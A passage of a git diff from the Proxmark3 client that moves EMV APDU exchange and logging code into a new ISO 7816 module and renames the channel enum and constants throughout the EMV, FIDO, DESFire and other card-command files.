${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c @@ -78,6 +77,8 @@ add_library(pm3rrg_rdv4 SHARED ${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/fidocore.c + ${PM3_ROOT}/client/src/iso7816/apduinfo.c + ${PM3_ROOT}/client/src/iso7816/iso7816core.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/elite_crack.c diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 67e424e89..084259d34 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -193,7 +193,6 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/emv/test/cryptotest.c ${PM3_ROOT}/client/src/emv/test/dda_test.c ${PM3_ROOT}/client/src/emv/test/sda_test.c - ${PM3_ROOT}/client/src/emv/apduinfo.c ${PM3_ROOT}/client/src/emv/cmdemv.c ${PM3_ROOT}/client/src/emv/crypto.c ${PM3_ROOT}/client/src/emv/crypto_polarssl.c @@ -210,6 +209,8 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fido/cbortools.c ${PM3_ROOT}/client/src/fido/cose.c ${PM3_ROOT}/client/src/fido/fidocore.c + ${PM3_ROOT}/client/src/iso7816/apduinfo.c + ${PM3_ROOT}/client/src/iso7816/iso7816core.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/elite_crack.c diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 00dfbde7c..6c1c2d322 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -20,6 +20,7 @@ #include "cliparser.h" #include "cmdhfmf.h" #include "cmdhfmfu.h" +#include "iso7816/iso7816core.h" #include "emv/emvcore.h" #include "ui.h" #include "crc16.h" @@ -28,7 +29,7 @@ #include "cmdhf.h" // handle HF plot #include "cliparser.h" #include "protocols.h" // definitions of ISO14A/7816 protocol, MAGIC_GEN_1A -#include "emv/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "cmdnfc.h" // print_type4_cc_info @@ -2008,7 +2009,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { uint16_t sw = 0; uint8_t result[1024] = {0}; size_t resultlen = 0; - int res = EMVSelect(ECC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw, NULL); + int res = Iso7816Select(CC_CONTACTLESS, ActivateField, true, vaid, vaidlen, result, sizeof(result), &resultlen, &sw); ActivateField = false; if (res) continue; diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index ada329bd7..d85c26e83 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -22,7 +22,7 @@ #include "crc16.h" #include "cmdhf14a.h" #include "protocols.h" // definitions of ISO14B/7816 protocol -#include "emv/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "aidsearch.h" diff --git a/client/src/cmdhfemrtd.c b/client/src/cmdhfemrtd.c index 7baaaf72d..a512ac041 100644 --- a/client/src/cmdhfemrtd.c +++ b/client/src/cmdhfemrtd.c @@ -18,7 +18,7 @@ #include "cliparser.h" // CLIParserContext etc #include "cmdhf14a.h" // ExchangeAPDU14a #include "protocols.h" // definitions of ISO14A/7816 protocol -#include "emv/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "crypto/libpcrypto.h" // Hash calculation (sha1, sha256, sha512) #include "mifare/desfire_crypto.h" // des_encrypt/des_decrypt #include "des.h" // mbedtls_des_key_set_parity diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index 059a4766f..f68e6a23d 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -24,7 +24,7 @@ #include "commonutil.h" #include "comms.h" #include "proxmark3.h" -#include "emv/emvcore.h" +#include "iso7816/iso7816core.h" #include "emv/emvjson.h" #include "cliparser.h" #include "crypto/asn1utils.h" diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index 3277214d4..9755c915e 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -24,8 +24,8 @@ #include "protocols.h" #include "cmdtrace.h" #include "cliparser.h" -#include "emv/apduinfo.h" // APDU manipulation / errorcodes -#include "emv/emvcore.h" // APDU logging +#include "iso7816/apduinfo.h" // APDU manipulation / errorcodes +#include "iso7816/iso7816core.h" // APDU logging #include "util_posix.h" // msleep #include "mifare/desfire_crypto.h" #include "crapto1/crapto1.h" diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index c5395ba0e..6de8ad89a 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -19,7 +19,7 @@ #include "ui.h" #include "cmdhf14a.h" // manufacture #include "protocols.h" // definitions of ISO14A/7816 protocol -#include "emv/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "crypto/asn1utils.h" // ASN1 decode / print static int CmdHelp(const char *Cmd); diff --git a/client/src/cmdhfst25ta.c b/client/src/cmdhfst25ta.c index 5d971c443..aa737304c 100644 --- a/client/src/cmdhfst25ta.c +++ b/client/src/cmdhfst25ta.c @@ -19,7 +19,7 @@ #include "crc16.h" #include "cmdhf14a.h" #include "protocols.h" // definitions of ISO14A/7816 protocol -#include "emv/apduinfo.h" // GetAPDUCodeDescription +#include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint #include "cmdnfc.h" // print_type4_cc_info diff --git a/client/src/comms.h b/client/src/comms.h index 80ce543da..1579c017f 100644 --- a/client/src/comms.h +++ b/client/src/comms.h @@ -26,7 +26,7 @@ extern "C" { #ifndef DropFieldEx #define DropFieldEx(x) { \ - if ( (x) == ECC_CONTACTLESS) { \ + if ( (x) == CC_CONTACTLESS) { \ DropField(); \ } \ } diff --git a/client/src/emv/cmdemv.c b/client/src/emv/cmdemv.c index 8d8128cc5..11111c530 100644 --- a/client/src/emv/cmdemv.c +++ b/client/src/emv/cmdemv.c @@ -56,12 +56,12 @@ static void ParamLoadDefaults(struct tlvdb *tlvRoot) { TLV_ADD(0x9F4E, "proxmrk3rdv\x00"); } -static void PrintChannel(EMVCommandChannel channel) { +static void PrintChannel(Iso7816CommandChannel channel) { switch (channel) { - case ECC_CONTACTLESS: + case CC_CONTACTLESS: PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACTLESS (T=CL)")); break; - case ECC_CONTACT: + case CC_CONTACT: PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACT")); break; } @@ -93,9 +93,9 @@ static int CmdEMVSelect(const char *Cmd) { bool leaveSignalON = arg_get_lit(ctx, 2); bool APDULogging = arg_get_lit(ctx, 3); bool decodeTLV = arg_get_lit(ctx, 4); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 5)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIGetHexWithReturn(ctx, 6, data, &datalen); CLIParserFree(ctx); @@ -143,9 +143,9 @@ static int CmdEMVSearch(const char *Cmd) { bool leaveSignalON = arg_get_lit(ctx, 2); bool APDULogging = arg_get_lit(ctx, 3); bool decodeTLV = arg_get_lit(ctx, 4); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 5)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIParserFree(ctx); @@ -201,9 +201,9 @@ static int CmdEMVPPSE(const char *Cmd) { PSENum = 2; bool APDULogging = arg_get_lit(ctx, 5); bool decodeTLV = arg_get_lit(ctx, 6); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 7)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIParserFree(ctx); @@ -257,9 +257,9 @@ static int CmdEMVGPO(const char *Cmd) { bool dataMakeFromPDOL = arg_get_lit(ctx, 3); bool APDULogging = arg_get_lit(ctx, 4); bool decodeTLV = arg_get_lit(ctx, 5); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 6)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIGetHexWithReturn(ctx, 7, data, &datalen); CLIParserFree(ctx); @@ -362,9 +362,9 @@ static int CmdEMVReadRecord(const char *Cmd) { bool leaveSignalON = arg_get_lit(ctx, 1); bool APDULogging = arg_get_lit(ctx, 2); bool decodeTLV = arg_get_lit(ctx, 3); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 4)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIGetHexWithReturn(ctx, 5, data, &datalen); CLIParserFree(ctx); @@ -449,9 +449,9 @@ static int CmdEMVAC(const char *Cmd) { bool APDULogging = arg_get_lit(ctx, 6); bool decodeTLV = arg_get_lit(ctx, 7); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 8)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIGetHexWithReturn(ctx, 9, data, &datalen); @@ -541,9 +541,9 @@ static int CmdEMVGenerateChallenge(const char *Cmd) { bool leaveSignalON = arg_get_lit(ctx, 1); bool APDULogging = arg_get_lit(ctx, 2); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 3)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIParserFree(ctx); @@ -600,9 +600,9 @@ static int CmdEMVInternalAuthenticate(const char *Cmd) { bool dataMakeFromDDOL = arg_get_lit(ctx, 3); bool APDULogging = arg_get_lit(ctx, 4); bool decodeTLV = arg_get_lit(ctx, 5); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 6)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); CLIGetHexWithReturn(ctx, 7, data, &datalen); CLIParserFree(ctx); @@ -841,15 +841,15 @@ static int CmdEMVExec(const char *Cmd) { TrType = TT_VSDC; bool GenACGPO = arg_get_lit(ctx, 10); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 11)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); - uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; + uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2; CLIParserFree(ctx); if (!IfPm3Smartcard()) { - if (channel == ECC_CONTACT) { + if (channel == CC_CONTACT) { PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support. Exiting."); return PM3_EDEVNOTSUPP; } @@ -1463,13 +1463,13 @@ static int CmdEMVScan(const char *Cmd) { bool GenACGPO = arg_get_lit(ctx, 9); bool MergeJSON = arg_get_lit(ctx, 10); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 11)) - channel = ECC_CONTACT; + channel = CC_CONTACT; PrintChannel(channel); - uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; + uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2; uint8_t filename[FILE_PATH_SIZE] = {0}; int filenamelen = sizeof(filename); @@ -1478,7 +1478,7 @@ static int CmdEMVScan(const char *Cmd) { CLIParserFree(ctx); if (!IfPm3Smartcard()) { - if (channel == ECC_CONTACT) { + if (channel == CC_CONTACT) { PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting"); return PM3_EDEVNOTSUPP; } @@ -1511,7 +1511,7 @@ static int CmdEMVScan(const char *Cmd) { JsonSaveStr(root, "$.File.Created", "proxmark3 `emv scan`"); - if (channel == ECC_CONTACTLESS) { + if (channel == CC_CONTACTLESS) { // iso 14443 select PrintAndLogEx(INFO, "GET UID, ATS"); @@ -1868,22 +1868,22 @@ static int CmdEMVRoca(const char *Cmd) { bool show_apdu = arg_get_lit(ctx, 2); - EMVCommandChannel channel = ECC_CONTACTLESS; + Iso7816CommandChannel channel = CC_CONTACTLESS; if (arg_get_lit(ctx, 3)) - channel = ECC_CONTACT; + channel = CC_CONTACT; CLIParserFree(ctx); PrintChannel(channel); if (!IfPm3Smartcard()) { - if (channel == ECC_CONTACT) { + if (channel == CC_CONTACT) { PrintAndLogEx(WARNING, "PM3 does not have SMARTCARD support, exiting"); return PM3_EDEVNOTSUPP; } } // select card - uint8_t psenum = (channel == ECC_CONTACT) ? 1 : 2; + uint8_t psenum = (channel == CC_CONTACT) ? 1 : 2; SetAPDULogging(show_apdu); diff --git a/client/src/emv/emvcore.c b/client/src/emv/emvcore.c index 9073d086a..f4d082628 100644 --- a/client/src/emv/emvcore.c +++ b/client/src/emv/emvcore.c @@ -131,16 +131,6 @@ static const TAIDList AIDlist [] = { { CV_OTHER, "F0000000030001" }, // BRADESCO - Brazilian Bank Banco Bradesco }; -//iceman: this logging setting, should be unified with client debug etc. -static bool APDULogging = false; -void SetAPDULogging(bool logging) { - APDULogging = logging; -} - -bool GetAPDULogging(void) { - return APDULogging; -} - enum CardPSVendor GetCardPSVendor(uint8_t *AID, size_t AIDlen) { char buf[100] = {0}; if (AIDlen < 1) @@ -275,90 +265,37 @@ struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2) { return tlvdb_fixed(0x02, dCVVlen, dCVV); } -static int EMVExchangeEx(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { - uint8_t data[APDU_RES_LEN] = {0}; - - *ResultLen = 0; - if (sw) *sw = 0; - uint16_t isw = 0; - int res = 0; - - if (ActivateField) { - DropFieldEx(channel); - msleep(50); - } - - // COMPUTE APDU - int datalen = 0; - if (APDUEncodeS(&apdu, false, IncludeLe ? 0x100 : 0x00, data, &datalen)) { - PrintAndLogEx(ERR, "APDU encoding error."); - return 201; - } - - if (APDULogging) - PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen)); - - switch (channel) { - case ECC_CONTACTLESS: - res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); - if (res != PM3_SUCCESS) { - res = exchange_14b_apdu(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen, 4000); - if (res != PM3_SUCCESS) - return res; - } - break; - case ECC_CONTACT: - res = 1; - if (IfPm3Smartcard()) - res = ExchangeAPDUSC(false, data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); - - if (res) { - return res; - } - break; - } - - if (APDULogging) - PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); - - if (*ResultLen < 2) { - return 200; - } - - *ResultLen -= 2; - isw = Result[*ResultLen] * 0x0100 + Result[*ResultLen + 1]; - if (sw) - *sw = isw; - - if (isw != 0x9000) { - if (APDULogging) { - if (*sw >> 8 == 0x61) { - PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff); - } else { - PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff)); - return 5; - } - } - } - +static int EMVExchangeEx(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { + int res = Iso7816ExchangeEx(channel, ActivateField, LeaveFieldON, apdu, IncludeLe, Result, MaxResultLen, ResultLen, sw); // add to tlv tree - if (tlv) { + if ((res == PM3_SUCCESS) && tlv) { struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen); tlvdb_add(tlv, t); } - - return 0; + return res; } -int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { - return EMVExchangeEx(channel, false, LeaveFieldON, apdu, false, Result, MaxResultLen, ResultLen, sw, tlv); +int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { + int res = Iso7816Exchange(channel, LeaveFieldON, apdu, Result, MaxResultLen, ResultLen, sw); + // add to tlv tree + if ((res == PM3_SUCCESS) && tlv) { + struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen); + tlvdb_add(tlv, t); + } + return res; } -int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { - return EMVExchangeEx(channel, ActivateField, LeaveFieldON, (sAPDU) {0x00, 0xa4, 0x04, 0x00, AIDLen, AID}, (channel == ECC_CONTACTLESS), Result, MaxResultLen, ResultLen, sw, tlv); +int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { + int res = Iso7816Select(channel, ActivateField, LeaveFieldON, AID, AIDLen, Result, MaxResultLen, ResultLen, sw); + // add to tlv tree + if ((res == PM3_SUCCESS) && tlv) { + struct tlvdb *t = tlvdb_parse_multi(Result, *ResultLen); + tlvdb_add(tlv, t); + } + return res; } -int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { +int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { uint8_t buf[APDU_AID_LEN] = {0}; *ResultLen = 0; int len = 0; @@ -375,7 +312,7 @@ int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO return EMVSelect(channel, ActivateField, LeaveFieldON, buf, len, Result, MaxResultLen, ResultLen, sw, NULL); } -static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +static int EMVSelectWithRetry(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int retrycnt = 0; int res = 0; do { @@ -402,7 +339,7 @@ static int EMVSelectWithRetry(EMVCommandChannel channel, bool ActivateField, boo return res; } -static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) { +static int EMVCheckAID(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlvdbelm, struct tlvdb *tlv) { uint8_t data[APDU_RES_LEN] = {0}; size_t datalen = 0; int res = 0; @@ -434,7 +371,7 @@ static int EMVCheckAID(EMVCommandChannel channel, bool decodeTLV, struct tlvdb * return res; } -int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) { +int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv) { uint8_t data[APDU_RES_LEN] = {0}; size_t datalen = 0; uint8_t sfidata[0x11][APDU_RES_LEN]; @@ -529,7 +466,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO return res; } -int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) { +int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv) { uint8_t aidbuf[APDU_AID_LEN] = {0}; int aidlen = 0; uint8_t data[APDU_RES_LEN] = {0}; @@ -625,11 +562,11 @@ int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen) { return 0; } -int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0xa8, 0x00, 0x00, PDOLLen, PDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); } -int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0xb2, SFIrec, (SFI << 3) | 0x04, 0, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv); if (*sw == 0x6700 || *sw == 0x6f00) { PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); @@ -638,11 +575,11 @@ int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uin return res; } -int EMVAC(EMVCommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int EMVAC(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t RefControl, uint8_t *CDOL, size_t CDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { return EMVExchange(channel, LeaveFieldON, (sAPDU) {0x80, 0xae, RefControl, 0x00, CDOLLen, CDOL}, Result, MaxResultLen, ResultLen, sw, tlv); } -int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int EMVGenerateChallenge(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, Result, MaxResultLen, ResultLen, sw, tlv); if (*sw == 0x6700 || *sw == 0x6f00) { PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); @@ -651,11 +588,11 @@ int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t * return res; } -int EMVInternalAuthenticate(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int EMVInternalAuthenticate(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *DDOL, size_t DDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { return EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x00, 0x88, 0x00, 0x00, DDOLLen, DDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); } -int MSCComputeCryptoChecksum(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { +int MSCComputeCryptoChecksum(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *UDOL, uint8_t UDOLlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv) { int res = EMVExchangeEx(channel, false, LeaveFieldON, (sAPDU) {0x80, 0x2a, 0x8e, 0x80, UDOLlen, UDOL}, true, Result, MaxResultLen, ResultLen, sw, tlv); if (*sw == 0x6700 || *sw == 0x6f00) { PrintAndLogEx(INFO, ">>> trying to reissue command without Le..."); @@ -725,7 +662,7 @@ int trSDA(struct tlvdb *tlv) { static const unsigned char default_ddol_value[] = {0x9f, 0x37, 0x04}; static struct tlv default_ddol_tlv = {.tag = 0x9f49, .len = 3, .value = default_ddol_value }; -int trDDA(EMVCommandChannel channel, bool decodeTLV, struct tlvdb *tlv) { +int trDDA(Iso7816CommandChannel channel, bool decodeTLV, struct tlvdb *tlv) { uint8_t buf[APDU_RES_LEN] = {0}; size_t len = 0; uint16_t sw = 0; diff --git a/client/src/emv/emvcore.h b/client/src/emv/emvcore.h index 1c422e483..056cab0ba 100644 --- a/client/src/emv/emvcore.h +++ b/client/src/emv/emvcore.h @@ -16,17 +16,10 @@ #include #include -#include "apduinfo.h" +#include "iso7816/apduinfo.h" +#include "iso7816/iso7816core.h" #include "emv_pki.h" -#define APDU_RES_LEN 260 -#define APDU_AID_LEN 50 - -typedef enum { - ECC_CONTACTLESS, - ECC_CONTACT -} EMVCommandChannel; - enum TransactionType { TT_MSD, TT_VSDC, // contact only. not standard for contactless @@ -56,39 +49,32 @@ void TLVPrintAIDlistFromSelectTLV(struct tlvdb *tlv); struct tlvdb *GetPANFromTrack2(const struct tlv *track2); struct tlvdb *GetdCVVRawFromTrack2(const struct tlv *track2); -void SetAPDULogging(bool logging); -bool GetAPDULogging(void); - // exchange -int EMVExchange(EMVCommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVExchange(Iso7816CommandChannel channel, bool LeaveFieldON, sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // search application -int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv); -int EMVSearch(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv); -int EMVSelectPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); -int EMVSelect(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVSearchPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, bool decodeTLV, struct tlvdb *tlv); +int EMVSearch(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, bool decodeTLV, struct tlvdb *tlv); +int EMVSelectPSE(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t PSENum, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw); +int EMVSelect(Iso7816CommandChannel channel, bool ActivateField, bool LeaveFieldON, uint8_t *AID, size_t AIDLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // select application int EMVSelectApplication(struct tlvdb *tlv, uint8_t *AID, size_t *AIDlen); // Get Processing Options -int EMVGPO(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); -int EMVReadRecord(EMVCommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVGPO(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t *PDOL, size_t PDOLLen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); +int EMVReadRecord(Iso7816CommandChannel channel, bool LeaveFieldON, uint8_t SFI, uint8_t SFIrec, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); // AC -int EMVGenerateChallenge(EMVCommandChannel channel, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw, struct tlvdb *tlv); -int 